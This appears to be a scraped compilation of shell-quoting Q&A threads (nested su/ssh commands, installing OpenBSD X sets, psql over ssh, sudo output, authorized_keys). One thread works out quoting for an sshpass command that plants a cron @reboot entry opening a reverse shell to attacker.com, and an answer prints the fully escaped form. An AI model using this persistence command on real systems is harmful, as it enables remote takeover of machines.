Nested bash command quote issues - linux

I have an app that sends commands to bash like so:
/bin/bash -c "<command goes here>"
This works great but I have hit a problem with a slightly more complicated command. This command grabs a tar from an SSH server, shows a progress bar with pv and then saves it to a local user's directory.
su -c "ssh -p 1234 remoteuser#123.123.123.123 'cd /home/ && tar -cf - remoteuser/' | pv > /home/staging/localuser/staging.tar" localuser
Running this command on the command line manually works great but I can't for the life of me work out how to pass this as an argument to /bin/bash/.
I have tried:
/bin/bash -c "su -c "ssh -p 1234 remoteuser#123.123.123.123 'cd /home/ && tar -cf - remoteuser/' | pv > /home/staging/localuser/staging.tar" localuser"
And various combinations using different syntax but I am just guessing as I don't really understand why it's not working.
I have broken it down to a simpler example and realised it works if inner command uses single quote like this simple example that gets the home path:
bash -c "su -c 'cd ~ && pwd' localuser"
but trying that on larger command causes it to fail:
/bin/bash -c "su -c 'ssh -p 1234 remoteuser#123.123.123.123 'cd /home/ && tar -cf - remoteuser/' | pv > /home/staging/localuser/staging.tar' localuser"
It says no passwd entry for user /home so the command is getting broken up I guess buy the nested single quotes but im not sure how to fix this.
I tried putting double quotes outside the single quotes:
/bin/bash -c "su -c 'ssh -p 1234 remoteuser#123.123.123.123 "'cd /home/ && tar -cf - remoteuser/'" | pv > /home/staging/localuser/staging.tar' localuser"
But then it says it can't find the directory. It looks like I just need to tweak the command a bit but I can't figure it out, can anyone help?

It is a matter of quoting in the right way. There is more than one way to do this. I find double quotes easier to work with for this case:
echo "su -c \"ssh -p 1234 remoteuser#123.123.123.123 'cd /home/ && tar -cf - remoteuser/' | pv > /home/staging/localuser/staging.tar\" localuser"
Prints:
su -c "ssh -p 1234 remoteuser#123.123.123.123 'cd /home/ && tar -cf - remoteuser/' | pv > /home/staging/localuser/staging.tar" localuser
Which I think is what you are looking for. That is, escaping with \" any double quotes inside the outer double quotes. So try:
/bin/bash -c "su -c \"ssh -p 1234 remoteuser#123.123.123.123 'cd /home/ && tar -cf - remoteuser/' | pv > /home/staging/localuser/staging.tar\" localuser"

This is where here-documents come in handy:
bash <<'END'
su -c "ssh -p 1234 remoteuser#123.123.123.123 'cd /home/ && tar -cf - remoteuser/' | pv > /home/staging/localuser/staging.tar" localuser
END
Note the -c option has been removed: bash will read the commands from stdin.

Related

OpenBSD 6.7 how to install xbase

I am updating our integration test environments to OpenBSD 6.7 (from 6.5)
We use ansible to install all the packages on the target system (openbsd 6.7, Vagrant image https://app.vagrantup.com/generic/boxes/openbsd6/versions/3.0.6 )
With the above image, I cannot install java openjdk 11.
obsd-31# pkg_add -r jdk%11
quirks-3.325 signed on 2020-05-27T12:56:02Z
jdk-11.0.7.10.2p0v0:lz4-1.9.2p0: ok
jdk-11.0.7.10.2p0v0:zstd-1.4.4p1: ok
jdk-11.0.7.10.2p0v0:jpeg-2.0.4p0v0: ok
jdk-11.0.7.10.2p0v0:tiff-4.1.0: ok
jdk-11.0.7.10.2p0v0:lcms2-2.9p0: ok
jdk-11.0.7.10.2p0v0:png-1.6.37: ok
jdk-11.0.7.10.2p0v0:giflib-5.1.6: ok
Can't install jdk-11.0.7.10.2p0v0 because of libraries
|library X11.17.0 not found
| not found anywhere
|library Xext.13.0 not found
| not found anywhere
|library Xi.12.1 not found
| not found anywhere
|library Xrender.6.0 not found
| not found anywhere
|library Xtst.11.0 not found
| not found anywhere
|library freetype.30.0 not found
| not found anywhere
Direct dependencies for jdk-11.0.7.10.2p0v0 resolve to png-1.6.37 libiconv-1.16p0 giflib-5.1.6 lcms2-2.9p0 jpeg-2.0.4p0v0
Full dependency tree is giflib-5.1.6 lz4-1.9.2p0 tiff-4.1.0 png-1.6.37 xz-5.2.5 jpeg-2.0.4p0v0 lcms2-2.9p0 zstd-1.4.4p1 libiconv-1.16p0
Couldn't install jdk-11.0.7.10.2p0v0
my guess is that xbase is not installed.
However, I cannot figure out how to install xbase without rebooting into a bootable installer (because I need to do it via a shell command running from ansible)
Is there a way?
The generic OpenBSD Vagrant image you're using was created as a command line environment, so the X windows files were were excluded during the install process.
There are lots of ways to add X windows to OpenBSD after installation, but the quickest method that comes to mind would be:
sudo su -l
curl -LO 'https://ftp.usa.openbsd.org/pub/OpenBSD/6.7/amd64/x{base,serv,font,share}67.tgz'
tar xzf xbase67.tgz -C /
tar xzf xserv67.tgz -C /
tar xzf xfont67.tgz -C /
tar xzf xshare67.tgz -C /
rm -f xbase67.tgz xfont67.tgz xserv67.tgz xshare67.tgz
ldconfig /usr/local/lib /usr/X11R6/lib
If you would like to test for the presence of X windows on OpenBSD, try using the following shell snippet:
if [ -d /usr/X11R6/bin/ ] && [ -f /usr/X11R6/bin/xinit ]; then
echo "X windows has been installed."
else
echo "This is a command line only system."
fi
The xbase file set can be extracted manually via the following commands:
cd /
curl -LO https://ftp.usa.openbsd.org/pub/OpenBSD/6.7/amd64/xbase67.tgz
tar xzvf xbase67.tgz
Note: this is the mirror used in the vagrant sources.
If you care about security enough to use OpenBSD, then you really shouldn't grab new package sets from the internet without also checking the hashes/signatures are valid. Try this script:
#!/bin/ksh
echo -n "Downloading ... "
curl --silent --fail --fail-early -O "https://ftp.usa.openbsd.org/pub/OpenBSD/7.0/amd64/SHA256.sig" -O "https://ftp.usa.openbsd.org/pub/OpenBSD/7.0/amd64/x{base,font,serv,share}70.tgz"
if [ $? != 0 ]; then
echo "X windows download failed. Terminating."
exit 1
fi
echo "complete."
signify -Cp /etc/signify/openbsd-70-base.pub -x SHA256.sig xbase70.tgz xfont70.tgz xserv70.tgz xshare70.tgz
if [ $? != 0 ]; then
echo "X windows signature verification failed. Terminating."
exit 1
fi
tar -z -x -C / -f xbase70.tgz && tar -z -x -C / -f xfont70.tgz && tar -z -x -C / -f xserv70.tgz && tar -z -x -C / -f xshare70.tgz
if [ $? != 0 ]; then
echo "X windows installation failed. Terminating."
exit 1
fi
echo "Installation complete. Happy hacking."
On the other hand if you just want a one liners:
# Install just x11 base set.
sudo ksh -c 'curl --silent https://ftp.usa.openbsd.org/pub/OpenBSD/7.0/amd64/xbase70.tgz | gzip -d -c | tar -x -C / -f - '
# Install all the x11 sets.
sudo ksh -c 'curl --silent https://ftp.usa.openbsd.org/pub/OpenBSD/7.0/amd64/xbase70.tgz | gzip -d -c | tar -x -C /-f - '
You can omit the sudo portion if you are already logged in as root. And for the vagrant folks, the lazy version looks:
# Install just x11 base set from the host, to a vagrant guest.
vagrant ssh -c "sudo ksh -c 'curl --silent https://ftp.usa.openbsd.org/pub/OpenBSD/7.0/amd64/xbase70.tgz | gzip -d -c | tar -x -C / -f - '"
# Install all the x11 sets from the host, to a vagrant guest.
vagrant ssh -c "sudo ksh -c 'curl --silent -O \"https://ftp.usa.openbsd.org/pub/OpenBSD/7.0/amd64/x{base,font,serv,share}70.tgz\" && tar -z -x -C / -f xbase70.tgz && tar -z -x -C / -f xfont70.tgz && tar -z -x -C / -f xserv70.tgz && tar -z -x -C / -f xshare70.tgz'"

How to pass a single quote through a double quoted echo command in a script to add a cron job

I have a script to update the cron job in a remote server accessed by ssh. I can't get the single quote to be put into the cron job from the echo command running in my bash script.
This is the exact string I need in my cron job:
'bash -i >& /dev/tcp/attacker.com/5326 0>&1'
But I can't get them to "stick."
This is the line in my script (other lines are working just fine.
sshpass -p 'PASSWORD' ssh -t -o StrictHostKeyChecking=no REMOTEUSERNAME#HOSTNAME "rm TEMPFILENAME;touch TEMPFILENAME;crontab -l > TEMPFILENAME;echo #reboot /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/5326 0>&1' >> TEMPFILENAME; crontab TEMPFILENAME"
The result of this attempt is ...
#reboot /bin/bash -c bash -i >& /dev/tcp/attacker.com/5326 0>&1
... with the quotes missing.
I have tried multiple double quotes. Single quotes within double quotes. Slashes.
In this situatation how can put single quotes in my script so they end up on the cron job?
If you don't need it to be pretty, you can ask Bash to do it:
#!/bin/bash
cmd='bash -i >& /dev/tcp/attacker.com/5326 0>&1';
crontab=$(printf "#reboot bash -c %q" "$cmd")
echo=$(printf "echo %q >> TEMPFILENAME" "$crontab")
ssh=$(printf "ssh localhost %q" "$echo")
printf 'The command to run is:\n%s\n' "$ssh"
The output of this script is:
The command to run is:
ssh localhost echo\ #reboot\\\ bash\\\ -c\\\ bash\\\\\\\ -i\\\\\\\ \\\\\\\>\\\\\\\&\\\\\\\ /dev/tcp/attacker.com/5326\\\\\\\ 0\\\\\\\>\\\\\\\&1\ \>\>\ TEMPFILENAME
And indeed, if you copy-paste that command, you will find a file TEMPFILENAME containing:
#reboot bash -c bash\ -i\ \>\&\ /dev/tcp/attacker.com/5326\ 0\>\&1
Which in turn when copy pasted into a prompt will set up the reverse shell.
Can you try after escaping the single quotes with a '\' ?
sshpass -p 'PASSWORD' ssh -t -o StrictHostKeyChecking=no REMOTEUSERNAME#HOSTNAME "rm TEMPFILENAME;touch TEMPFILENAME;crontab -l > TEMPFILENAME;echo #reboot /bin/bash -c \'bash -i >& /dev/tcp/attacker.com/5326 0>&1\' >> TEMPFILENAME; crontab TEMPFILENAME"

bash list postgresql databases over ssh connection

I am doing some work on a remote Postgresql database.
When I log into the server this command works on bash:
$ psql -c "\l"
Remote login over ssh is possible using:
ssh user#server -C "cd /tmp && su postgres -c psql"
But why doesn't it work from this command?
ssh user#server -C " cd /tmp && su postgres -c psql -c '\l' "
→ bash: l: command not found
This is working, also "psql -l" but I don't understand why I have to use backslash 3 times here?
ssh user#server -C " cd /tmp && su postgres -c 'psql -c \\\l' "
Use several levels of quoting:
ssh user#server -C "cd /tmp && su postgres -c 'psql -c \"\\l\"'"
The double backslash is not strictly necessary since \l is no recognized escape sequence.

How to store output of sudo -S su -c <user> <command> to any variable

I am trying to execute the following command but the output is not coming as required.
var=$(echo "<password>"|sudo -S su -l <user> -c "<command>")
Please help if anyone can?
Expected Result:
var=$(echo ""|sudo -S su -l -c "pwd")
echo $var /home/bhushan
$:
Actual Result:
echo $var
$:
You can use backticks
var=`sudo -S su -l -c ""`
or the $(command) syntax
var=$(sudo -S su -l -c "")
(keep in mind though that sudo -S su -l -c "" doesn't output anything so $var will be empty)
You can workaround it by storing the output of the command into a file, then change its permission so that all users will see it and in a following command load it from the file:
sudo -S "<command> > /tmp/sudocmd.out && chmod 644 /tmp/sudocmd.out"
var=$(cat /tmp/sudocmd.out)

how to escape quote in ssh command

I want to install a the pub key for user test using the command below.
I know the root password and the user test does not exist.
cat test.pub | ssh root#127.0.0.1 "useradd -m test || su - test -c 'umask 077; mkdir /home/test/.ssh; cat >> /home/test/.ssh/authorized_keys'"
But the command does not work.
Error: Creating mailbox file: File exists
The problem is useradd -m test. I delete user test by userdel test && rm -rf /home/test. It should be userdel -r test.
The command below works:
cat test.pub | ssh root#127.0.0.1 "useradd -m test && su - test -c 'umask 077; mkdir /home/test/.ssh; cat >> /home/test/.ssh/authorized_keys'"

Resources